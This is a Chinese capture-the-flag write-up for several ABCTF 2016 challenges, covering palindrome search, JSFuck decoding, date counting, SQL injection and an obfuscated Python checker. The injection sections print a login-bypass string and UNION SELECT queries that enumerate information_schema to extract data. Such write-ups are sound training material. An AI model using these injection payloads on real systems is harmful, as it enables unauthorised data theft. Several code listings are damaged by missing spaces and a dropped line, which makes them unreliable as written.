ABCTF-2016-部分题解

MoonWalk- 60

 

在图片里提出一张图片,但是怎么输都不对….

ABCTF{PNG_S0_C00l}

 

 

RacecaR

 

这题坑死…

写了个脚本跑,跑到第7位之后就没出过回文了

DbrMrbD

o4OmO4o

BZXTXZB

一共这些情况,一开始我只试了最后一种,是 ABCTF{ BZXTXZB}

不对,就让程序接着跑,跑到了1500……也没再见其他的,刚刚把三个都试了一下,发现第一个就是答案…..

脚本如下(需要先把文本文件处理成一行)

#!/usr/bin/python

# -*-coding:utf-8 -*-

 

f =open("palindrome.txt","r")

a = f.read()

 

b = list(a)

leng = len(b)

 

 

def ispalindrome(i,j):

         forflag in range(0,i/2+1):

                   ifb[j+flag] != b[j+i-flag]:

                            return0

         return1

 

for i in range(0,leng):   # i为回文长度

         forj in range(0,leng-1-i):

                   ifispalindrome(i,j):

                            print"".join(b[j:j+i+1])

         printi

 

 

print "Done!!!!!!!!!!!!!!!!!!!!!!!!!!!"

f.close()


 

JS Pls

 

这题比较坑的是不能直接用工具来做,要手工……..

首先把那串字符串base64解密之后,发现是jsfuck编码,还以为可以直接用浏览器控制台运行js代码了,没想到报错,那就没办法了,只能一段一段解了,用alert函数把那些jsfuck编码替换掉,大概就是这个样子(可能某些地方稍微做了改正)

 

process.stdin.resume();

process.stdin.setEncoding('utf8');

console.log('Giveme a flag');

process.stdin.on('data',(t) = > {

  t = t.trim();

  if (t.length === 19) {

    if (t.substr( 0, 5) === "ABCTF"){

      if (t[5].charCodeAt( 0) ===t[18].charCodeAt( 0)  &&t[5].charCodeAt( 0) === 123) {

        if (t.substr(6,4) ===Object.keys(process.versions) [0]) {

          if (t[10] === t[13] &&t[10].charCodeAt( 0) === 95) {

            if (t.substr(11, 2) === ((typeof x)[5] + (typeof t) [0])) {

              if (t.substr(14, 4) ==="w4Ck"){

                   console.log('nicejob!');

                process.exit();

              }

            }

          }

        }

      }

    }

  }

  console.log('nope!');

  process.exit();

});

接下来就是分析了

先说几个函数的作用

Trim  去掉字符串两侧的空白,不改变类型

charCodeAt 返回Ascii码值(查的是返回Unicode值,我看的是ascii码)

process.versions  node和node依赖库的版本

{ node: '0.4.12',  

   v8: '3.1.8.26',  

   ares: '1.7.4',  

   ev: '4.4',  

   openssl: '1.0.0e-fips' }

 

Object.keys(obj)返回一个数组,数组里是该obj可被枚举的所有属性

String1.substr(6,4)  返回String1从第7位开始的连续4位字符串

 

也就这些函数吧,然后分析过程

第1个if判断flag长度,应为19位

第2个if判断前5位,应为 ABCTF

第3个if 判断第6位和第19位,应为左右大括号

第4个if判断7-10位 ,根据两个函数的作用,知道返回值为node

第5个if判断11,,14位,应为 _ 下划线

第6个if判断12,13位,这里比较复杂: x没有声明,所以返回 undefined,t是字符串型,返回 string,所以12,13位应为 is

第7个if判断15-18位,应为 w4Ck

 

好了,这样flag就出来了:ABCTF{node_is_w4Ck}

 

 

 

TGIF – 30

首先给了一个文本文件,是很多行日期,格式如下:

July 14,2011

为了便于统计,把空格替换成逗号,或者把逗号替换成空格,我把空格替换成了逗号,

题目说求一年后的这些日期中是周五的天数,就简单的把年份加1即可,但是有一个特殊情况:February,29,2004 会导致脚本出错,因为2005年没有2月29号,去掉这条数据就可以了,脚本如下:

 

#!/usr/bin/python

# -*-coding:utf-8-*-

 

from datetimeimport *

 

def convert_month(str_week):

         if "Jan" in str_week:

                   return 1

         elif "Feb" in str_week:

                   return 2

         elif "Mar" in str_week:

                   return 3

         elif "Apr" in str_week:

                   return 4

         elif "May" in str_week:

                   return 5

         elif "June" in str_week:

                   return 6

         elif "Jul" in str_week:

                   return 7

         elif "Aug" in str_week:

                   return 8

         elif "Sep" in str_week:

                   return 9

         elif "Oct" in str_week:

                   return 10

         elif "Nov" in str_week:

                   return 11

         elif "Dec" in str_week:

                   return 12

 

print"start"

f =open("date.txt","r")

f_list = f.readlines()

 

total = 0  # 计数周五

for i inrange(len(f_list)):

         str1 =f_list[i].replace("\n","") #去掉回车

         list1 = str1.split(',')

         #printlist1[0],int(list1[1]),int(list1[2])+1

         month1 = convert_month(list1[0])

         weekday1 =datetime(int(list1[2])+1,month1,int(list1[1])).weekday()

         if weekday1 == 4:

                   total += 1

 

print total

print"done"

 

f.close()

 

Get 'Em All – 80

 

雨神做的,突然发现自己什么都忘了…要好好记一下

输入框输入  admin'or '1'='1   就是简单的注入


原理分析:

select * from user where username = '什么'
那个什么 本来是 谁的名字就显示谁的 内容

 输入下面这个 
admin'or'1'='1 后 where后面 恒为真。也就能得到所有的内容了

 

 

Reunion – 150

龙神做的,自己又复习了下手注的过程

Get型注入

每条注入前都有 http://yrmyzscnvh.abctf.xyz/web8/?id=1

然后看语句

order by 4  //这样应该知道大概有四个字段

 

union select1,2,3,4  //这样可以验证一下

 

union select1,group_concat(schema_name),3,4 from information_schema.schemata 

//查所有的数据库名,查到的有information_schema,webeight,看一下后者

 

union select1,group_concat(table_name),3,4 from information_schema.tables wheretable_schema= 0x7765626569676874 

//查webeight数据库的所有表名,最后那串是webeight的十六进制,结果是:w0w_y0u_f0und_m3,webeight

 

union select1,group_concat(column_name),3,4  frominformation_schema.columns where table_schema=0x7765626569676874 

//查 webeight数据库所有的列名,结果是:f0und_m3,breed,name,color,id

 

union select1,f0und_m3,3,4 from w0w_y0u_f0und_m3  //查到flag

 

 

大概过程就是这样,虽然有点瑕疵

 

 

 

Obfuscated 1 - 130

 

把给的程序分析了下

分析情况最后发现一个很尴尬的地方,i没有定义,

如果i是n的话,类型是不匹配的,n都是string型,b中的元素都是int型,所以要进行类型转换,string 转成int即可

最后分析代码如下

 

from _md5 importMD5Type as z

 

def is_flag(s):

   a = int(s[pow(ord(s[0]), 2) - 7226:])   #① 

   b = list(filter(lambda q: q % 3 == 0, [a, a* 2, a * 3, a * 4, a * 5]))  #②

   if len(b) != 5:

       return False      

   c = s[1:-2]

   if (len([n for n in list(c) if lambda y:int(y) in b])) != 8:     # ③

       return False

   d = [(ord(x) - 48) for x in list(s)] # fillin the blanks     #④ d[0]=37 d[13]=9

   if s.count('U') != 3:   #⑤

       return False

   if c.index("​_") !=c[::-1].index("_​"):  # ⑥

   if (s[d[3]]) != 'U':   #

       return False

   return True


 

①  处 猜测只取1位进行类型转换,也就是最后一位,这样可以判断出是s[0]=”U”

②  根据if判断,a应该是3的倍数,可能是3,6,9 情况都试一遍,我取得是9

③  不管是否满足条件,都会返回一个值,所以这里可以判断出位数,s的位数为11

④  和最后一个if判断相结合,可以取值是s[3]=”0”  s[10]=”9”

⑤  可知字符串中有3个’U’

⑥  "_"的位置在字符串c中是对称的,只要满足条件即可

最后找到一个满足条件的字符串  s ="UUU0__----9"

满足条件的应该有很多

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值